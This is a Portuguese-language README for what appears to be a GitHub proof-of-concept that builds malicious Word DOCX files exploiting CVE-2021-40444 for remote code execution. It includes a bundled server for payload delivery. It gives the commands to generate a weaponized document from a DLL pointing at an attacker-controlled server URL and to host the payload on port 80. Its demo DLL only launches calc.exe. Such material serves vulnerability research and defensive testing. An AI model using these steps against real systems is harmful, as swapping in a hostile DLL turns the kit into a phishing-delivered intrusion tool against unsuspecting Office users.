w1kyri3/exploit-poc-cve-2021-40444-inject-ma-doc-vao-docxGera arquivos DOCX maliciosos explorando CVE-2021-40444 para alcançar execução remota de código por meio de documentos Office manipulados, com um servidor de hospedagem integrado para entrega de payload.
Gerador de docx malicioso para explorar CVE-2021-40444 (Execução Remota de Código no Microsoft Office Word)
A criação deste script é baseada em engenharia reversa sobre a amostra usada in-the-wild: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 (arquivo docx)
Você precisa instalar o lcab primeiro (sudo apt-get install lcab)
Consulte REPRODUCE.md para etapas manuais de reprodução
Se o seu cab gerado não estiver funcionando, tente apontar a URL do exploit.html para calc.cab
Primeiro, gere um documento docx malicioso a partir de uma DLL; você pode usar o que está em test/calc.dll, que apenas abre um calc.exe a partir de uma chamada a system()
python3 exploit.py generate test/calc.dll http://<IP DO SRV>
Após gerar o docx malicioso (estará em out/), você pode configurar o servidor:
sudo python3 exploit.py host 80
Finalmente, teste o docx em uma Máquina Virtual Windows:
